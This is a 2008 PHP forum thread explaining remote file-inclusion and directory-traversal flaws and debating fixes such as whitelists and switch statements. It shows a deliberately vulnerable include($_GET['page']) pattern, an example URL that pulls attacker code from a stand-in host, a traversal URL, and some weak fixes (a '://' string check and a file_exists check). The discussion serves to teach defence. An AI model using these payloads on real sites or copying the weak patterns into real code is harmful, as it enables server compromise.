remote file-include vulnerability

Discussion in 'PHP' started by Napoleon, Jan 19, 2008.

  1. #1
    What is it? and how can it be fixed?
     
    Napoleon, Jan 19, 2008 IP
  2. jayshah

    jayshah Peon

    Messages:
    1,126
    Likes Received:
    68
    Best Answers:
    1
    Trophy Points:
    0
    #2
    Its like this:

    site.com/file.php?page=test

    
    <?php
    include($_GET['page'] . '.php');
    ?>
    
    PHP:
    So it would include page.php

    site.com/file.php?page=hxxp://hackers-site.com/exploit.txt?

    would include hxxp://hackers-site.com/exploit.txt and therefore RUN the code on the site.com server.

    That's what it is. Theres a few ways to stop it, but now you know what it is, you should be able to fix it.

    Jay

    P.S. Links are hxxp:// as I can't use live links yet :(
     
    jayshah, Jan 19, 2008 IP
    Napoleon likes this.
  3. Napoleon

    Napoleon Peon

    Messages:
    732
    Likes Received:
    20
    Best Answers:
    0
    Trophy Points:
    0
    #3
    Hello Jay. Thank you very much for explaing, can you suggest a way to fix the problem? The only solution I can think of is to include the file using absolute file name like /home/username/public_html/include.php
     
    Napoleon, Jan 19, 2008 IP
  4. jayshah

    jayshah Peon

    Messages:
    1,126
    Likes Received:
    68
    Best Answers:
    1
    Trophy Points:
    0
    #4
    Yes, that could work, or you could do something like:

    
    if (strstr($_GET['page'], '://')) die('Fake Page');
    
    PHP:
    It checks for anything like ftp :// http :// https ://, that makes it extremely difficult. A far more secure method is to use a switch() statement, never include a variable.

    
    switch ($_GET['page']){
       case 'home': $file = 'home.php'; break;
       case 'about': $file = 'aboutus.php'; break;
       // etc etc...
    }
    
    PHP:
    Hope this helps you,

    Jay
     
    jayshah, Jan 19, 2008 IP
  5. SoKickIt

    SoKickIt Active Member

    Messages:
    305
    Likes Received:
    30
    Best Answers:
    0
    Trophy Points:
    70
    #5
    Or something like this to save some time:

    $valid_pages = array('about', 'contact', 'info');
    
    if(in_array($_GET['page'], $valid_pages)) {
    // include...
    }
    else {
    // error...
    }
    PHP:
     
    SoKickIt, Jan 19, 2008 IP
  6. jayshah

    jayshah Peon

    Messages:
    1,126
    Likes Received:
    68
    Best Answers:
    1
    Trophy Points:
    0
    #6
    That would work, but makes it more difficult to set files in different directory trees. So if you need to have a file in ../dir1/ and but also dir2/, that code is a little more complicated for what you want.
     
    jayshah, Jan 19, 2008 IP
  7. Napoleon

    Napoleon Peon

    Messages:
    732
    Likes Received:
    20
    Best Answers:
    0
    Trophy Points:
    0
    #7
    Thanks for the suggestions everybody, can you confirm that the absolute file name works? I'll use it if it works as it is the easiest for me.
     
    Napoleon, Jan 19, 2008 IP
  8. jayshah

    jayshah Peon

    Messages:
    1,126
    Likes Received:
    68
    Best Answers:
    1
    Trophy Points:
    0
    #8
    Of course it will work, only downside that if the page is invalid (i.e. not a real file), the user will get:


    Warning: include(/home/mysite/public_html/fakepage.php) [function.include]:
    failed to open stream: No such file or directory in /home/mysite/public_html/index.php on line 5


    ... Rather than a error message (unless you program an is_file() check).

    Jay
     
    jayshah, Jan 19, 2008 IP
  9. SoKickIt

    SoKickIt Active Member

    Messages:
    305
    Likes Received:
    30
    Best Answers:
    0
    Trophy Points:
    70
    #9
    You can get rid of that:

    if(!@include(...)) {
    //error...
    }
    PHP:
    But you have to check $_GET['page'] before you use it. Even with absolute paths visitors can do something like this:

    site.com/file.php?page=../some_other_folder/file_you_dont_want_to_be_accessed.php
    Code (markup):
     
    SoKickIt, Jan 19, 2008 IP
  10. jayshah

    jayshah Peon

    Messages:
    1,126
    Likes Received:
    68
    Best Answers:
    1
    Trophy Points:
    0
    #10
    Directory traversal is always and issue, which is why you should use my code if:

    You have files in different directories, or want to set other variables associated with files or execute pre-included code

    ... or SoKickIt's code if you want speed and ease of use. The choice is yours.

    Jay
     
    jayshah, Jan 19, 2008 IP
  11. Kaizoku

    Kaizoku Well-Known Member

    Messages:
    1,261
    Likes Received:
    20
    Best Answers:
    1
    Trophy Points:
    105
    #11
    Do something like
    
    if (file_exists($_GET['page'])) {
    	include($_GET['page']);
    } else {
    	echo "Access Denied";
    }
    
    PHP:
     
    Kaizoku, Jan 20, 2008 IP
  12. jayshah

    jayshah Peon

    Messages:
    1,126
    Likes Received:
    68
    Best Answers:
    1
    Trophy Points:
    0
    #12
    That code doesn't prevent directory traversal. Perhaps you should scroll up a bit. Both SoKickIt's and my code does.
     
    jayshah, Jan 20, 2008 IP
  13. Napoleon

    Napoleon Peon

    Messages:
    732
    Likes Received:
    20
    Best Answers:
    0
    Trophy Points:
    0
    #13
    @jayshah Can I PM you with the code?
     
    Napoleon, Jan 20, 2008 IP
  14. jayshah

    jayshah Peon

    Messages:
    1,126
    Likes Received:
    68
    Best Answers:
    1
    Trophy Points:
    0
    #14
    Sure, I don't mind.
     
    jayshah, Jan 20, 2008 IP